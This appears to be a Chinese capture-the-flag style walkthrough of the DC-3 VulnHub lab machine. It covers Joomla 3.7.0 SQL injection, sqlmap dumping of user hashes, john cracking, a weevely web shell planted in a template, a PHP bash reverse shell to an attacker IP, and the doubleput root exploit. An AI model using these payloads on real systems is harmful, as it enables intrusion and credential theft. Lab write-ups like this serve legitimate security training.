环境准备

下载地址:http://www.five86.com/downloads/DC-3-2.zip
镜像地址:https://download.vulnhub.com/dc/DC-3-2.zip
在打开的时候出了一个问题,如下
image-20230703133956196
解决方法:在CD/DVD高级设置里面改为如下即可
image-20230703134012551

开始打靶

从DC-3开始只有一个flag,得提权到root才能拿到
扫描存活IP,记得改为NAT连接
arp-scan -l
image-20230703134029937
IP为192.168.75.136
探测一下存活端口
nmap -A 192.168.75.136

扫一下目录看看
image-20230703134126915
有个后台,先放着,访问一下IP利用插件发现CMS为Joomla
image-20230703134155733

sql注入

看下有没有历史漏洞,发现存在sql注入

1
http://192.168.75.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)

image-20230703134218819
然后用sqlmap一把梭看看有什么东西吧,将数据包保存在注入的参数加个*
image-20230703134236625

1
sqlmap -r "/home/joker27/桌面/111.txt" --dbs

image-20230703134249625
到这里就没啥利用思路了,表实在太多了,懒得一个个猜,看看wp吧,发现有个专门针对joomla的工具安装一下

1
apt install joomscan

开扫joomscan -u http://192.168.75.136
image-20230703134305215
看到了版本为3.7.0,这个版本有sql注入前面已经利用过了,从wp得知密码在#__users表中,本来想通过我前面的注入方法直接查看的,但是发现没法查看数据了,只能通过msf来看一下了,没怎么用过msf都不太熟练

1
searchsploit joomla 3.7.0

image-20230703134335109
看wp这里不能用msf直接打,所以就直接看看payload

1
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

image-20230703134346862
因为前面的东西都已经注出来了所以直接注列名

1
sqlmap -u "http://192.168.75.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]

得到列名
image-20230703134406761
接下来查看数据

1
sqlmap -u "http://192.168.75.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C name,password,username --dump -p list[fullordering]

image-20230703134421547
密码是加密的用john爆破一下
image-20230703134432752
得到密码snoopy,登录一下后台,成功登录
image-20230703134547119

拿shell

接下来找找有没有上传点啥的,最终在下面这里发现可以直接生成文件
image-20230703134607616
image-20230703134618256
image-20230703134633073
image-20230703134644502
害,找路径找了半天。。。
image-20230703134658292
我这台机器没装蚁剑换个工具,利用kali自带的weevely

1
weevely generate cmd shell.php //生成shell

image-20230703134712673
但是直接上传失败估计限制了,那么就直接将代码复制到之前的那个1.php里面
image-20230703134729073
连接成功

1
weevely http://192.168.75.136/templates/bezz3/1.php cmd  //连接

image-20230703134812024
使用命令cat /etc/issue查看系统发行版本信息
image-20230703135102848

拒绝服务漏洞提权 (通过weevely进行结果失败)

然后本地寻找相关提权漏洞

1
searchsploit Ubuntu 16.04

image-20230703135118863
查看这个漏洞

1
cat /usr/share/exploitdb/exploits/linux/local/39772.txt

image-20230703135132114
使用wget将exp下载到靶机
image-20230703135202692
看wp的时候版本不一样的话这里有这里链接有可能失效,我这个应该可以,如果下载失败可以换个链接试试

1
wget https://gitee.com/aaaddc/exploitdb-bin-sploits/blob/master/bin-sploits/39772.zip

然后解压unzip 39772.zip
image-20230703135310168
进入39772目录解压exploit.tar

1
tar -xvf exploit.tar

image-20230703135326366
进入解压后的目录
image-20230703135340924
运行compile.sh编译文件
image-20230703135351940
然后执行./doubleput提权
image-20230703135404296
这里执行失败了,看了wp有的人这里也失败了估计这个weevely不太行

放弃weevely通过反弹shell进行

没办法只能换个方式了,直接反弹个shell到kali上吧

1
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.75.128/6666 0>&1' ");?>

image-20230703135415550
访问页面拿到shell,因为前面文件已经上传所以这里直接找到文件执行命令就行
image-20230703135438853
提权成功,拿到flag
image-20230703135449069